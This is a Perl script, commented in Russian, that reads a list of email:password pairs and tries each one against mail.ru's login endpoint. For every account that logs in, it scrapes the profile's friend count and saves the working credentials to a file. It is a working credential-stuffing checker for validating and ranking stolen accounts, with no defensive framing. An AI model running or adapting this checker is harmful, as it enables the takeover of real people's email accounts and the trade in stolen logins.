#!/usr/bin/perl
#(c) dpe

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

###################################CONFIG############################

my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';';    #разделитель

##################################END################################

open(BASE, "<$accs") || die "File accs.txt NOT FOUND!!!";
chomp(@accs = <BASE>);
close(BASE);
open(FILE, ">>acss_with_friends.txt");
while(my $acc = shift(@accs)) {

my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?)$acc_delm(.+?)$/;

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
$ua->cookie_jar({});

my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)  {
#print  "[+]" .$login."@".$domain." : ".$pass."\n" ;
my $dom =$1 if $domain=~/(.*).ru/;
my $parse=$ua->get('http://my.mail.ru/'.$dom.'/'.$login.'/')->content;
  if ($parse=~/<span class="h2span mr2">(.*)<\/span><\/h2>/) {
print  "[+]" .$login."@".$domain." : ".$pass." : [ ".$1." ]\n";
print  FILE $login."@".$domain." : ".$pass." : ".$1."\n";}
else {
print "[+]" .$login."@".$domain." : ".$pass." : [ friends not found ]\n";}

}    else    {
print  "[-]" .$login."@".$domain." : ".$pass."\n" ;  
}
}